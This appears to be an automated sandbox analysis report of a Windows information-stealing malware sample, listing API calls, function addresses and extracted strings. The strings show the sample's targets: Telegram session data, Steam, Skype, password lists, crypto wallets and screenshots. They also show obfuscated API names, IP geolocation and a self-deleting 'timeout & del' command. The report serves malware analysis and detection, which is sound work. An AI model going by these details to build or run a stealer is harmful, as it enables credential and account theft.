String ID: AllocateAndInitializeSid$CheckTokenMembership$CloseHandle$CopyFileW$CreateFileW$CreateMutexA$CreateProcessAsUserW$CreateProcessW$CreateToolhelp32Snapshot$CryptAcquireContextA$CryptCreateHash$CryptDestroyHash$CryptGetHashParam$CryptHashData$CryptReleaseContext$DeleteFileW$EnumDisplayDevicesW$ExpandEnvironmentStringsW$FindClose$FindFirstFileW$FindNextFileW$GetComputerNameW$GetCurrentDirectoryW$GetDriveTypeA$GetEnvironmentVariableW$GetFileAttributesW$GetFileSize$GetKeyboardLayoutList$GetLastError$GetLocalTime$GetLocaleInfoA$GetLogicalDriveStringsA$GetModuleFileNameW$GetTickCount$GetTimeZoneInformation$GetUserNameW$GlobalMemoryStatus$GlobalMemoryStatusEx$LocalFree$LookupAccountSidA$Process32FirstW$Process32NextW$ReadFile$RegCloseKey$RegCreateKeyExW$RegEnumKeyW$RegEnumValueW$RegOpenKeyExW$RegOpenKeyW$RegQueryValueExW$ReleaseMutex$RemoveDirectoryW$RtlComputeCrc32$SetCurrentDirectoryW$SetDllDirectoryW$SetEnvironmentVariableW$ShellExecuteExW$advapi32.dll$kernel32.dll$ntdll.dll$shell32.dll$user32.dll$wvsprintfA
API String ID: 2238633743-617434850
Opcode ID: 8a7debf825173666d64633fefa6854a254c857d9de9e6bbb9cb681206d11099e
Instruction ID: cfd24dbd3a5623e96a1366eeff91a6eabf16f5ed4c2f56b33555d19b2fe062a0
Opcode Fuzzy Hash: 8a7debf825173666d64633fefa6854a254c857d9de9e6bbb9cb681206d11099e
Instruction Fuzzy Hash: AEC174B1A80710ABDB01EFA5DC8AA6A37A8FB45705360953BB544FF2D1D678DC018F9C

Function 00419108 Relevance: 58.7, APIs: 5, Strings: 28, Instructions: 964
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 00419195

Part of subcall function 00408328: CreateDirectoryW.KERNEL32(00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D), ref: 004083C7
Part of subcall function 00408328: CreateDirectoryW.KERNEL32(00000000,00000000,004087A8,00000000,%appdata%\,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781,?,?,0041B0FC,0000044D), ref: 00408435

GetSystemMetrics.USER32(00000001), ref: 00419460
GetSystemMetrics.USER32(00000000), ref: 00419468
ShellExecuteExW.SHELL32(0000003C,0041A4AC,?,?), ref: 00419F27
ExitProcess.KERNEL32(00000000), ref: 00419F2B

Strings

<d>, xrefs: 004192DF
Files\, xrefs: 004196C6, 004197A1
Coins, xrefs: 004193CE
System.txt, xrefs: 00419938
%appdata%\Telegram Desktop\tdata\, xrefs: 00419425
scr.jpg, xrefs: 00419475
0_@, xrefs: 00419CD7, 0041A0EA
</n>, xrefs: 004192A0
Steam, xrefs: 0041943B
<n>, xrefs: 004192A8
Skype, xrefs: 004193F8
<, xrefs: 00419E1B
"query":", xrefs: 004198A4
<c>, xrefs: 00419281
ip.txt, xrefs: 004198E5, 004198F7
%DSK_, xrefs: 004194C5, 004194E2, 0041956B
PasswordsList.txt, xrefs: 00419368
D877F783D5*,map*, xrefs: 00419420
http://ip-api.com/json, xrefs: 0041988E
Telegram, xrefs: 0041941B
GET, xrefs: 00419887
"countryCode":", xrefs: 004198BA
</c>, xrefs: 00419279
image/jpeg, xrefs: 00419455
exit, xrefs: 00419262
/c %WINDIR%\system32\timeout.exe 3 & del ", xrefs: 00419E66
</d>, xrefs: 004192D7
%comspec%, xrefs: 00419E45

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: Create$DirectoryMetricsSystem$ExecuteExitMutexProcessShell
String ID: "countryCode":"$"query":"$%DSK_$%appdata%\Telegram Desktop\tdata\$%comspec%$/c %WINDIR%\system32\timeout.exe 3 & del "$0_@$<$</c>$</d>$</n>$<c>$<d>$<n>$Coins$D877F783D5*,map*$Files\$GET$PasswordsList.txt$Skype$Steam$System.txt$Telegram$exit$http://ip-api.com/json$image/jpeg$ip.txt$scr.jpg
API String ID: 1646377131-805684967
Opcode ID: b0918735eb01c85f46bb61440219fdaacc2c7db3611cf1fcd55f505ef4f58d84
Instruction ID: 8e865d1d98f6c8efaf34d3e531d58462b667ba857a61b59ff422c1b99a10b1ba
Opcode Fuzzy Hash: b0918735eb01c85f46bb61440219fdaacc2c7db3611cf1fcd55f505ef4f58d84
Instruction Fuzzy Hash: 4F920E34A0011D9FDB11EB55C885BCDB7B9AF49308F5081BBE408B7292DB38AF958F59

Function 0040831C Relevance: 35.3, APIs: 17, Strings: 3, Instructions: 323
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D), ref: 004083C7
CreateDirectoryW.KERNEL32(00000000,00000000,004087A8,00000000,%appdata%\,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781,?,?,0041B0FC,0000044D), ref: 00408435
SetCurrentDirectoryW.KERNEL32(00000000,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D,?,?,?,00000000), ref: 004084BB
LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D,?,?,?,00000000), ref: 004084E4
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040850D
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408530
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408553
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408576
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408599
GetProcAddress.KERNEL32(00000000,00000000), ref: 004085BC
GetProcAddress.KERNEL32(00000000,00000000), ref: 004085DF
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408602
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408625
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408648
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040866B
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040868E
GetProcAddress.KERNEL32(00000000,00000000), ref: 004086B1

Strings

%TEMP%\, xrefs: 0040838E
%appdata%\, xrefs: 004083FC
PATH, xrefs: 00408448, 00408470, 0040849E

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressProc$Directory$Create$CurrentLibraryLoad
String ID: %TEMP%\$%appdata%\$PATH
API String ID: 1998666822-1089150275
Opcode ID: a3a7f0e04276fa5588cadaa871e822f5307a06622094e1642ca5e6744384a9c2
Instruction ID: 107c2c44d9e3562d342af0426f92bc8293728700e54ee15747b3200e896e575f
Opcode Fuzzy Hash: a3a7f0e04276fa5588cadaa871e822f5307a06622094e1642ca5e6744384a9c2
Instruction Fuzzy Hash: 08C12A709002059BDB01EBA9DD86BCE77B8EF49308F20457BB454BB2D6CB78AD05CB59

Function 00408324 Relevance: 35.3, APIs: 17, Strings: 3, Instructions: 319
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D), ref: 004083C7
CreateDirectoryW.KERNEL32(00000000,00000000,004087A8,00000000,%appdata%\,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781,?,?,0041B0FC,0000044D), ref: 00408435
SetCurrentDirectoryW.KERNEL32(00000000,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D,?,?,?,00000000), ref: 004084BB
LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D,?,?,?,00000000), ref: 004084E4
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040850D
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408530
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408553
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408576
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408599
GetProcAddress.KERNEL32(00000000,00000000), ref: 004085BC
GetProcAddress.KERNEL32(00000000,00000000), ref: 004085DF
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408602
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408625
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408648
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040866B
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040868E
GetProcAddress.KERNEL32(00000000,00000000), ref: 004086B1

Strings

%TEMP%\, xrefs: 0040838E
%appdata%\, xrefs: 004083FC
PATH, xrefs: 00408448, 00408470, 0040849E

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressProc$Directory$Create$CurrentLibraryLoad
String ID: %TEMP%\$%appdata%\$PATH
API String ID: 1998666822-1089150275
Opcode ID: edc18b18f8305dbdd9bd898c15c8e83ed7fbd3ebddb0e7f499efc5e89588ebce
Instruction ID: 2d8dd4a76802c8c05b7f9f6fb250e21a54e9375513618aa46567d80ce5eb0686
Opcode Fuzzy Hash: edc18b18f8305dbdd9bd898c15c8e83ed7fbd3ebddb0e7f499efc5e89588ebce
Instruction Fuzzy Hash: A7C12A70A002059BDB01EBA9DD86BCE77B8EF45308F20453BB454BB3D5CB78AD058B59

Function 00408328 Relevance: 35.3, APIs: 17, Strings: 3, Instructions: 317
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D), ref: 004083C7
CreateDirectoryW.KERNEL32(00000000,00000000,004087A8,00000000,%appdata%\,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781,?,?,0041B0FC,0000044D), ref: 00408435
SetCurrentDirectoryW.KERNEL32(00000000,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D,?,?,?,00000000), ref: 004084BB
LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D,?,?,?,00000000), ref: 004084E4
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040850D
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408530
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408553
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408576
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408599
GetProcAddress.KERNEL32(00000000,00000000), ref: 004085BC
GetProcAddress.KERNEL32(00000000,00000000), ref: 004085DF
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408602
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408625
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408648
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040866B
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040868E
GetProcAddress.KERNEL32(00000000,00000000), ref: 004086B1

Strings

%TEMP%\, xrefs: 0040838E
%appdata%\, xrefs: 004083FC
PATH, xrefs: 00408448, 00408470, 0040849E

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressProc$Directory$Create$CurrentLibraryLoad
String ID: %TEMP%\$%appdata%\$PATH
API String ID: 1998666822-1089150275
Opcode ID: 985e44c51c59e8ee6989f45de44698a0f141bfbbbf747e03c4d8817034f6fa2f
Instruction ID: f743aedec7dbf6b98949553c7d40f8bccc431f9c9a4af862cbdb08e619508236
Opcode Fuzzy Hash: 985e44c51c59e8ee6989f45de44698a0f141bfbbbf747e03c4d8817034f6fa2f
Instruction Fuzzy Hash: A0C11A70A002059BDB01EBA9DD86BCE77B8EF48309F20453BB454BB3D5DB78AD058B59

Function 00416B8C Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 216
libraryloaderprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,), ref: 00416C04
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C0A
LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,), ref: 00416C32
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C38
LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2), ref: 00416C77
GetProcAddress.KERNEL32(00000000,00000000), ref: 00416C7D
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC), ref: 00416C90
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00416CAF
Process32NextW.KERNEL32(00000000,?), ref: 00416D1E
CloseHandle.KERNEL32(00000000), ref: 00416D2C
GetCurrentProcessId.KERNEL32(?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,,?,Zone: ,?,004175A8), ref: 00416DAA

Strings

UHJvY2VzczMyRmlyc3RX, xrefs: 00416C17
UHJvY2VzczMyTmV4dFc=, xrefs: 00416C45
a2VybmVsMzIuZGxs, xrefs: 00416C61
kernel32.dll, xrefs: 00416BFF, 00416C2D
Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90, xrefs: 00416BE9

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc$Process32$CloseCreateCurrentFirstHandleNextProcessSnapshotToolhelp32
String ID: Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90$UHJvY2VzczMyRmlyc3RX$UHJvY2VzczMyTmV4dFc=$a2VybmVsMzIuZGxs$kernel32.dll
API String ID: 1927487376-4127804628
Opcode ID: 65300b4e60da800d415c1a3cb2551db00b88653df35aa2bd350cfea82b7b47e0
Instruction ID: f3c24ddc2a443a78fd4165323e7ca93df30f075cb4f00a4e444516d0c24f858d
Opcode Fuzzy Hash: 65300b4e60da800d415c1a3cb2551db00b88653df35aa2bd350cfea82b7b47e0
Instruction Fuzzy Hash: FB917570A006099BCB10EF69C985ADEB7B9FF84304F1181BAE509B7291D739DF858F58

Function 00416B90 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 214
libraryloaderprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,), ref: 00416C04
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C0A
LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,), ref: 00416C32
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C38
LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2), ref: 00416C77
GetProcAddress.KERNEL32(00000000,00000000), ref: 00416C7D
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC), ref: 00416C90
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00416CAF
Process32NextW.KERNEL32(00000000,?), ref: 00416D1E
CloseHandle.KERNEL32(00000000), ref: 00416D2C
GetCurrentProcessId.KERNEL32(?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,,?,Zone: ,?,004175A8), ref: 00416DAA

Strings

UHJvY2VzczMyRmlyc3RX, xrefs: 00416C17
UHJvY2VzczMyTmV4dFc=, xrefs: 00416C45
a2VybmVsMzIuZGxs, xrefs: 00416C61
kernel32.dll, xrefs: 00416BFF, 00416C2D
Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90, xrefs: 00416BE9

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc$Process32$CloseCreateCurrentFirstHandleNextProcessSnapshotToolhelp32
String ID: Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90$UHJvY2VzczMyRmlyc3RX$UHJvY2VzczMyTmV4dFc=$a2VybmVsMzIuZGxs$kernel32.dll
API String ID: 1927487376-4127804628
Opcode ID: 23aed005d1cd924713a6c9523997cf456d4e38f9e5c7cc2fcb202ae1bcbd67cf
Instruction ID: fd76d8ed353255a1278cd755ee3df483ef4fe920b1e5afc451e9d1c12470fbd9
Opcode Fuzzy Hash: 23aed005d1cd924713a6c9523997cf456d4e38f9e5c7cc2fcb202ae1bcbd67cf
Instruction Fuzzy Hash: B2818570A006099BCB10EF69C985ADEB7B9FF84304F1181BAE509B7291D739DF858F58

Function 00417278 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 213
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32(00000000), ref: 004173D7
GetSystemMetrics.USER32(00000001), ref: 004173EE

Part of subcall function 00416FB8: GetLocaleInfoA.KERNEL32(?,00000059,?,00000100,?,-00000001,0041B0FC,?,?,00417429,Layouts: ,?,00417604,?,00000001,00417654), ref: 00417015

Part of subcall function 00417098: GetTimeZoneInformation.KERNEL32(?,00000000,00417170,?,-00000001,0041B0FC,?,?,0041746F,Zone: ,?,004175A8,?,LocalTime: ,?,004175A8), ref: 004170D6

Part of subcall function 00416748: GetSystemInfo.KERNEL32(0041A13A,00000000,004168D4,?,?,00000000,00000000,?,0041748D,?,,?,Zone: ,?,004175A8,?), ref: 0041676C

Sleep.KERNEL32(00000001,,?,?,,?,Zone: ,?,004175A8,?,LocalTime: ,?,004175A8,?,Layouts: ,?), ref: 004174A3

Part of subcall function 00416B94: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,), ref: 00416C04
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C0A
Part of subcall function 00416B94: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,), ref: 00416C32
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C38
Part of subcall function 00416B94: LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2), ref: 00416C77
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,00000000), ref: 00416C7D
Part of subcall function 00416B94: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC), ref: 00416C90
Part of subcall function 00416B94: Process32FirstW.KERNEL32(00000000,0000022C), ref: 00416CAF

Sleep.KERNEL32(00000001,004175A8,004175A8,?,?,00000001,,?,?,,?,Zone: ,?,004175A8,?,LocalTime: ), ref: 004174CD
Sleep.KERNEL32(00000001,004175A8,[Soft],?,00000001,004175A8,004175A8,?,?,00000001,,?,?,,?,Zone: ), ref: 004174EC

Part of subcall function 00415F30: RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A69E,00000000,00416452,?,-00000001,0041B0FC,?,00000000,00000000,?,004174F9,00000001), ref: 00415F8D
Part of subcall function 00415F30: RegEnumKeyA.ADVAPI32(0041A69E,00000000,?,000003E9), ref: 00416115
Part of subcall function 00415F30: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A69E,0041A69E,00000001,?,000003E9,),?,?,00000000,00416528,?,?), ref: 00416150
Part of subcall function 00415F30: RegEnumKeyA.ADVAPI32(0041A69E,00000000,?,000003E9), ref: 004162D8

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

Computer(Username) : , xrefs: 00417364
Windows : , xrefs: 004172F8
MachineID : , xrefs: 004172B0
, xrefs: 004172E5, 00417472, 00417490
EXE_PATH : , xrefs: 004172D3
Screen: , xrefs: 004173BD
[Soft], xrefs: 004174D4
Zone: , xrefs: 00417462
Layouts: , xrefs: 0041741C
LocalTime: , xrefs: 0041743F

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProcSleepSystem$EnumInfoMetricsOpen$CreateFirstFreeInformationLocaleProcess32SnapshotStringTimeToolhelp32Zone
String ID: $Computer(Username) : $EXE_PATH : $Layouts: $LocalTime: $MachineID : $Screen: $Windows : $Zone: $[Soft]
API String ID: 441461025-943277980
Opcode ID: a22df512de9960ae85694d245b4f4119eedafc5602223ade3eea4ad26099b946
Instruction ID: faa4580c3751e67dc94fa71ed2fe839e62200f283c7ef28ebc39c5cb7ba49714
Opcode Fuzzy Hash: a22df512de9960ae85694d245b4f4119eedafc5602223ade3eea4ad26099b946
Instruction Fuzzy Hash: 94814F70A44209AFCB01FFA1CC42BCDBF7AAF49309F60407BB104B65D6D67D9A568B19

Function 0041727C Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 211
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32(00000000), ref: 004173D7
GetSystemMetrics.USER32(00000001), ref: 004173EE

Part of subcall function 00416FB8: GetLocaleInfoA.KERNEL32(?,00000059,?,00000100,?,-00000001,0041B0FC,?,?,00417429,Layouts: ,?,00417604,?,00000001,00417654), ref: 00417015

Part of subcall function 00417098: GetTimeZoneInformation.KERNEL32(?,00000000,00417170,?,-00000001,0041B0FC,?,?,0041746F,Zone: ,?,004175A8,?,LocalTime: ,?,004175A8), ref: 004170D6

Part of subcall function 00416748: GetSystemInfo.KERNEL32(0041A13A,00000000,004168D4,?,?,00000000,00000000,?,0041748D,?,,?,Zone: ,?,004175A8,?), ref: 0041676C

Sleep.KERNEL32(00000001,,?,?,,?,Zone: ,?,004175A8,?,LocalTime: ,?,004175A8,?,Layouts: ,?), ref: 004174A3

Part of subcall function 00416B94: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,), ref: 00416C04
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C0A
Part of subcall function 00416B94: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,), ref: 00416C32
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C38
Part of subcall function 00416B94: LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2), ref: 00416C77
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,00000000), ref: 00416C7D
Part of subcall function 00416B94: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC), ref: 00416C90
Part of subcall function 00416B94: Process32FirstW.KERNEL32(00000000,0000022C), ref: 00416CAF

Sleep.KERNEL32(00000001,004175A8,004175A8,?,?,00000001,,?,?,,?,Zone: ,?,004175A8,?,LocalTime: ), ref: 004174CD
Sleep.KERNEL32(00000001,004175A8,[Soft],?,00000001,004175A8,004175A8,?,?,00000001,,?,?,,?,Zone: ), ref: 004174EC

Part of subcall function 00415F30: RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A69E,00000000,00416452,?,-00000001,0041B0FC,?,00000000,00000000,?,004174F9,00000001), ref: 00415F8D
Part of subcall function 00415F30: RegEnumKeyA.ADVAPI32(0041A69E,00000000,?,000003E9), ref: 00416115
Part of subcall function 00415F30: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A69E,0041A69E,00000001,?,000003E9,),?,?,00000000,00416528,?,?), ref: 00416150
Part of subcall function 00415F30: RegEnumKeyA.ADVAPI32(0041A69E,00000000,?,000003E9), ref: 004162D8

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

Computer(Username) : , xrefs: 00417364
Windows : , xrefs: 004172F8
MachineID : , xrefs: 004172B0
, xrefs: 004172E5, 00417472, 00417490
EXE_PATH : , xrefs: 004172D3
Screen: , xrefs: 004173BD
[Soft], xrefs: 004174D4
Zone: , xrefs: 00417462
Layouts: , xrefs: 0041741C
LocalTime: , xrefs: 0041743F

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProcSleepSystem$EnumInfoMetricsOpen$CreateFirstFreeInformationLocaleProcess32SnapshotStringTimeToolhelp32Zone
String ID: $Computer(Username) : $EXE_PATH : $Layouts: $LocalTime: $MachineID : $Screen: $Windows : $Zone: $[Soft]
API String ID: 441461025-943277980
Opcode ID: 98dee303eb0a02b075d06b4305ddd7e6e2251ef1b4c9c9bc19e8ba4959754855
Instruction ID: 915cc31ebaf767ee9912e0c916b5d60c1651ad94c460c6a34579714c0f7d2b16
Opcode Fuzzy Hash: 98dee303eb0a02b075d06b4305ddd7e6e2251ef1b4c9c9bc19e8ba4959754855
Instruction Fuzzy Hash: 9A814E70A44209AFCB01FFA1CC42BCDBF7AAF49309F60407BB104B65D6D67D9A468B19

Function 00417290 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 201
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32(00000000), ref: 004173D7
GetSystemMetrics.USER32(00000001), ref: 004173EE

Part of subcall function 00416FB8: GetLocaleInfoA.KERNEL32(?,00000059,?,00000100,?,-00000001,0041B0FC,?,?,00417429,Layouts: ,?,00417604,?,00000001,00417654), ref: 00417015

Part of subcall function 00417098: GetTimeZoneInformation.KERNEL32(?,00000000,00417170,?,-00000001,0041B0FC,?,?,0041746F,Zone: ,?,004175A8,?,LocalTime: ,?,004175A8), ref: 004170D6

Part of subcall function 00416748: GetSystemInfo.KERNEL32(0041A13A,00000000,004168D4,?,?,00000000,00000000,?,0041748D,?,,?,Zone: ,?,004175A8,?), ref: 0041676C

Sleep.KERNEL32(00000001,,?,?,,?,Zone: ,?,004175A8,?,LocalTime: ,?,004175A8,?,Layouts: ,?), ref: 004174A3

Part of subcall function 00416B94: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,), ref: 00416C04
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C0A
Part of subcall function 00416B94: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,), ref: 00416C32
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C38
Part of subcall function 00416B94: LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2), ref: 00416C77
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,00000000), ref: 00416C7D
